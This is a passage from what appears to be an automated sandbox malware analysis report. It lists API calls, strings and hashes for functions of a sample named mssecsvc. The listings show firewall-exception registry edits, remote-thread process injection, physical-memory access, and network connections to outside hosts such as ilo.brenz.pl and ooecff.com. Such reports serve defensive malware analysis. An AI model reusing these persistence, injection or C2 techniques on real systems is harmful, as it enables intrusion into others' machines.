                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 3734769084-417985840
                                                                                          • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                          • Instruction ID: 04a7c8116a9fb35f71bbffa2808c6274a5c5ffd0f068440cbef2dd7623ef1827
                                                                                          • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                          • Instruction Fuzzy Hash: 9DD10071419348BFEB229F748C4ABFA7BACEF41304F004519E84A9E091DBF66F059765
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3D36 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 379libraryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00AC3D2B), ref: 00AC3D36
                                                                                            • Part of subcall function 00AC3D4B: GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                            • Part of subcall function 00AC3D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                            • Part of subcall function 00AC3D4B: GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                            • Part of subcall function 00AC3D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00AC6EF6,00000000,00000000,00000000,00000000), ref: 00AC3E65
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 3734769084-417985840
                                                                                          • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                          • Instruction ID: a2a5be16d0f9009bfdc587255d2e4c0d6226cab3545a9c618f876dcd14acdd72
                                                                                          • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                          • Instruction Fuzzy Hash: 5ED1EF72508248BFEF35AF248C5AFEA7BACEF45300F06451DE84A9E082D6F45F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3D4B Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 386librarythreadnetworkCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 7FEA3EE2
                                                                                          • wsprintfA.USER32 ref: 7FEA3EF7
                                                                                          • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 7FEA3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                          • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                          • wsprintfA.USER32 ref: 7FEA4179
                                                                                          • SetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA42D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                                                                                          • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA430A
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1567941233-417985840
                                                                                          • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                          • Instruction ID: 0fd1af5c82e6ac19fee7a4e27b5b7e3d4aaa516ddc9e53bac77035a7f4224d32
                                                                                          • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                          • Instruction Fuzzy Hash: BBE1EF71419348BFEB229F748C4ABFA7BACEF41304F00465AEC4A9E081D6F66F059761
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3D4B Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 386librarythreadnetworkCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00AC6EF6,00000000,00000000,00000000,00000000), ref: 00AC3E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 00AC3EE2
                                                                                          • wsprintfA.USER32 ref: 00AC3EF7
                                                                                          • CreateThread.KERNEL32(00000000,00000000,00AC3691,00000000,00000000), ref: 00AC3F40
                                                                                          • CloseHandle.KERNEL32(?,542F1145), ref: 00AC3F49
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00AC3FE9
                                                                                          • CloseHandle.KERNEL32(?,00000000), ref: 00AC3FF2
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00AC3FFF
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 00AC4097
                                                                                          • connect.WS2_32(6F6C6902,00AC3B09,00000010), ref: 00AC40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00AC40FB
                                                                                          • wsprintfA.USER32 ref: 00AC4179
                                                                                          • SetEvent.KERNEL32(000002A0,?,00000000), ref: 00AC42D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 00AC42F7
                                                                                          • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 00AC430A
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1567941233-417985840
                                                                                          • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                          • Instruction ID: 5c182fb308665e4bb8b3c2b648f8f88135ea83022802bae36458e07fd6d52dfc
                                                                                          • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                          • Instruction Fuzzy Hash: 8EE1FF72404248BEEF21AF248C5AFEA7BACEF45300F06455DEC499E082D6F45F45C7A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00000000), ref: 7FEA04BE
                                                                                          • GetVersion.KERNEL32 ref: 7FEA0500
                                                                                          • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 7FEA0528
                                                                                          • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Handle$AllocCloseModuleVersionVirtual
                                                                                          • String ID: \BaseNamedObjects\mdatVt$\BaseNamedObjects\mdatVt$csrs
                                                                                          • API String ID: 3017432202-3205722221
                                                                                          • Opcode ID: 55dab35a01ffbabe9e6f30f5ae22a4fb086bcedf8e9e15a46640e76f7b549da8
                                                                                          • Instruction ID: 71498745f06a5f83008a7483859c41e8f31e1e908309e338a51f55d8bae9cd1b
                                                                                          • Opcode Fuzzy Hash: 55dab35a01ffbabe9e6f30f5ae22a4fb086bcedf8e9e15a46640e76f7b549da8
                                                                                          • Instruction Fuzzy Hash: B4B19E71506349FFEB229F24C849BFA3BA9FF45715F000128EA0A9E181C7F69B45CB59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                          • GetModuleHandleA.KERNEL32(7FEA05EC), ref: 7FEA05F2
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\mdatVt,\BaseNamedObjects\mdatVt), ref: 7FEA070A
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\mdatVt,?), ref: 7FEA072D
                                                                                          • lstrcatW.KERNEL32(\BaseNamedObjects\mdatVt,\mdatVt), ref: 7FEA073B
                                                                                          • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 7FEA076B
                                                                                          • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 7FEA0786
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                          • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                          • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                                                                                          • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                                                                                          • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                          • String ID: \BaseNamedObjects\mdatVt$\BaseNamedObjects\mdatVt$csrs
                                                                                          • API String ID: 1545766225-3205722221
                                                                                          • Opcode ID: 0d5786054332540e6e836eaed6eac88baa2013289193866529efb65d1d8d764a
                                                                                          • Instruction ID: ff48bd7264b87f98a05bb893ea86fefdbd0d9db75e55a8ed0a085974ccb1a1ed
                                                                                          • Opcode Fuzzy Hash: 0d5786054332540e6e836eaed6eac88baa2013289193866529efb65d1d8d764a
                                                                                          • Instruction Fuzzy Hash: 62715D31505205FFEB219F20CC49BBE3BBEEF85715F100068EA0A9E491C7B69F459B59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA4178 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 192networksleepstringCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                          • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                          • wsprintfA.USER32 ref: 7FEA4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                          • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA428B
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA4294
                                                                                          • closesocket.WS2_32(6F6C6902), ref: 7FEA42B8
                                                                                          • SetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA42D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                                                                                          • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA430A
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA4178, 7FEA4195, 7FEA41DB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                          • API String ID: 883794535-1945156119
                                                                                          • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                          • Instruction ID: 62042b7e1d70db51705c832b3ce7fc9885254b828fc8a61664828cce23236026
                                                                                          • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                          • Instruction Fuzzy Hash: AD71EF75508348BAEB229F3488587EEBFAEEF81314F000608E85A9E1D1C7F66F45D761
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC4178 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 192networksleepstringCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00AC4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00AC4066
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 00AC4097
                                                                                          • connect.WS2_32(6F6C6902,00AC3B09,00000010), ref: 00AC40B1
                                                                                          • GetVersionExA.KERNEL32(?,?,00000000), ref: 00AC40FB
                                                                                          • wsprintfA.USER32 ref: 00AC4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00AC41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00AC6AA2,00000000,00000000), ref: 00AC41BD
                                                                                          • GetTickCount.KERNEL32 ref: 00AC41F6
                                                                                          • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,00AC6AA2,00000000,00000000), ref: 00AC428B
                                                                                          • GetTickCount.KERNEL32 ref: 00AC4294
                                                                                          • closesocket.WS2_32(6F6C6902), ref: 00AC42B8
                                                                                          • SetEvent.KERNEL32(000002A0,?,00000000), ref: 00AC42D6
                                                                                          • Sleep.KERNEL32(00007530,?,00000000), ref: 00AC42F7
                                                                                          • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 00AC430A
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC4178, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                          • API String ID: 883794535-1945156119
                                                                                          • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                          • Instruction ID: 61cbf47c03161470b9a8152189a942457e4fdba8ef220ec88e57bee4b30ae545
                                                                                          • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                          • Instruction Fuzzy Hash: 5871DE71504298BAEF319F28882EBDE7FADAF49310F15060CE89A9E181C7F45F41C769
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetSystemTime.KERNEL32(00AC7584), ref: 00AC389F
                                                                                          • Sleep.KERNEL32(0000EA60), ref: 00AC3911
                                                                                          • InternetGetConnectedState.WININET(?,00000000), ref: 00AC392A
                                                                                          • gethostbyname.WS2_32(0D278125), ref: 00AC396C
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 00AC3981
                                                                                          • ioctlsocket.WS2_32(?,8004667E), ref: 00AC399A
                                                                                          • connect.WS2_32(?,?,00000010), ref: 00AC39B3
                                                                                          • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 00AC39C1
                                                                                          • closesocket.WS2_32 ref: 00AC3A20
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                                                                                          • String ID: ooecff.com
                                                                                          • API String ID: 159131500-1898719242
                                                                                          • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                          • Instruction ID: 9d05e3045229420a453d3691130959bc2551b68939f3fa7e8d5028c798b6e9fc
                                                                                          • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                          • Instruction Fuzzy Hash: 0B41B032644249BAEF319F248C4AFA97BAEAF85710F05802DF949EE1C1D7F59F408760
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA33E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3414
                                                                                          • \Device\PhysicalMemory, xrefs: 7FEA33E0
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$\Device\PhysicalMemory
                                                                                          • API String ID: 2985292042-459637581
                                                                                          • Opcode ID: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                                                                                          • Instruction ID: 89bc292a39abda77eba81180b1336a71123f95df307fbb064623dea506d6362f
                                                                                          • Opcode Fuzzy Hash: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                                                                                          • Instruction Fuzzy Hash: 5A817671500208FFEB218F14CC89ABA7BADEF44704F504658ED1A9F295D7F2AF458BA4
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC33E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00AC344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00AC3469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00AC3493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00AC34A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 00AC34B8
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3414
                                                                                          • \Device\PhysicalMemory, xrefs: 00AC33E0
